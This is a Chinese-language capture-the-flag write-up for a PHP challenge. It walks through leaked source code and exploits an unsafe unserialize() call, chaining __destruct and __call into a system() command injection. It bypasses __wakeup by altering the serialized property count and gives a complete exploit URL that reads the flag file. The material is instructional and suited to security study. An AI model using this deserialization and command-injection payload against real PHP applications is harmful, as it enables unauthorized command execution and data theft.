题目地址:http://120.78.57.208:6001/
打开页面,查看网页源代码发现泄露源码index.php.bak。。。
0)
{
if(isset($_GET["LandIn"]))
{
$pos=$_GET["LandIn"];
}
if($pos==="airport")
{
die("机场大仙太多,你被打死了~ ");
}
elseif($pos==="school")
{
echo('叫我校霸~~ ');
$pubg=$_GET['pubg'];
$p = unserialize($pubg);
// $p->Get_air_drops($p->weapon,$p->bag);
}
elseif($pos==="AFK")
{
die("由于你长时间没动,掉到海里淹死了~ You Lose");
}
}
?>
在这我们可以看出,在传入pos=school的同时要赋值给pubg一个参数(序列化之后的)。。
开头包含了class.php,尝试获得源码,class.php.bak。。。
str="You got the airdrop";
// return $this->str;
// }
public function __wakeup()
{
$this->bag="nothing";
$this->weapon="kar98K";
}
public function Get_air_drops($b)
{
$this->$b();
}
public function __call($method,$parameters)
{
$file = explode(".",$method);
echo $file[0];
if(file_exists(".//class$file[0].php"))
{
system("php .//class//$method.php");
}
else
{
system("php .//class//win.php");
}
die();
}
public function nothing()
{
die("You lose ");
}
public function __destruct()
{
waf($this->bag);
if($this->weapon==='AWM')
{
$this->Get_air_drops($this->bag);
}
else
{
die('The Air Drop is empty,you lose~ ');
}
}
}
?>
发现还包含了一个waf.php,但是就不能得到源码了。
我们分析一下这个源码class.php:
(1)这里定义了一个sheldon类,里面有两个public成员。
①public $bag="nothing";
②public $weapon="M24";
(2)里面有五个成员函数。
①function __wakeup()
②function Get_air_drops($b)
③function __call($method,$parameters)
④function nothing()
⑤function __destruct()
由于在index.php中我们知道要传入一个序列化后的对象,并且class.php中正好只有这个一个类。所以我们可以大胆猜测我们需要构造一个sheldon对象。
而我们知道, __wakeup()函数在其所在对象反序列化的时候自动调用。所以如果我们构造sheldon对象并反序列化后,我们的对象内部就会自动调用__wakeup()函数,此时我们这个对象的两个成员变量就会变成:
public function __wakeup()
{
$this->bag="nothing";
$this->weapon="kar98K";
}
再看__destruct()函数。
public function __destruct() {
waf($this->bag);
if ($this->weapon === 'AWM') {
$this->Get_air_drops($this->bag);
} else {
die('The Air Drop is empty,you lose~ ');
}
}
我们知道这是一个析构函数,当对象内容执行结束后会调用析构函数,也就是说这个函数一定会被执行。
我们来审计下这个代码:
1,先对当前对象的bag成员执行waf函数(这个函数在waf.php中,但是我们目前无法得到waf.php中的内容)。
2,然后if中条件满足的话,对bag成员执行Get_air_drops函数,否则就die输出一行字。
3,再看Get_air_drops,这个函数内容为
public function Get_air_drops($b)
{
$this->$b();
}
,这个函数意思是传入一个参数b,而b为一个函数并执行这个函数。
此时,我们还有__call函数没有执行,我们查看文档得到:
__call()有两个参数,第一个参数会接受不存在的方法名,第二个参数则以数组的方式接受不存在方法的多个参数。
在对象中调用一个不可访问方法时,__call()会被调用。并且这个method参数是我们传入的那个不存在的方法。
并且在这个function中我们能看到当满足
if(file_exists(".//class$file[0].php"))
条件的时候会执行
system("php .//class//$method.php");
这个命令。
也就是说只要我们可以给bag赋值传入一个类中不存在的方法,他便会被用于监视错误的__call方法所执行。
public function __destruct() {
waf($this->bag);
if ($this->weapon === 'AWM') {
$this->Get_air_drops($this->bag);
} else {
die('The Air Drop is empty,you lose~ ');
}
}
最后的析构函数可以看出我们需要传入的weapon值为AWM,然后会执行Get_air_drops函数,其参数为bag,此时我们知道Get_air_drops函数会以函数的方式执行bag。
Payload为bag=win.php|cat class/flag,此时在执行__call()时的method便成为了win.php|cat ./class/flag,
其执行的内容为system(“php .//win.php|cat class/flag.php”),flag.php中的内容便会显示出来。
bag="nothing";
$this->weapon="kar98K";
}
public function Get_air_drops($b)
{
$this->$b();
}
public function __call($method,$parameters)
{
$file = explode(".",$method);
echo $file[0];
if(file_exists(".//class$file[0].php"))
{
system("php .//class//$method.php");
}
else
{
system("php .//class//win.php");
}
die();
}
public function nothing()
{
die("You lose ");
}
public function __destruct()
{
//waf($this->bag);
if($this->weapon==='AWM')
{
$this->Get_air_drops($this->bag);
}
else
{
die('The Air Drop is empty,you lose~ ');
}
}
}
$a = new sheldon();
print_r(serialize($a));
//var_dump((unserialize(serialize($a))));
?>
执行得到:
在反序列化之后,修改一下变量数量,来绕过__wakeup()函数。得到:
O:7:"sheldon":3:{s:3:"bag";s:27:"//win.php| cat ./class/flag";s:6:"weapon";s:3:"AWM";}(这里把2改为其他的数就行)
终极Payload:
http://120.78.57.208:6001/?LandIn=school&pubg=O:7:"sheldon":3:{s:3:"bag";s:27:"//win.php| cat ./class/flag";s:6:"weapon";s:3:"AWM";}
在源码中就看到flag了。
moctf{Try_Learn_PhP_h4rder_wow}
To sum up,
①系统肯定要执行__destruct()函数,由此函数执行不存在的函数从而调用__call()。又因为我们的脚本中存在__wakeup()函数(__wakeup()触发于unserialize()调用之前,但是如果被反序列话的字符串其中对应的对象的属性个数发生变化时,会导致反序列化失败而同时使得__wakeup()失效。)所以它会讲我们的weapon强制改成kar98K,导致我们无法调用Get_air_drops()函数。所以我们需要绕过它。
②成功绕过__wakeup()后,执行call函数,并满足第一个条件后运行“system("php .//class//$method.php");” 得到flag。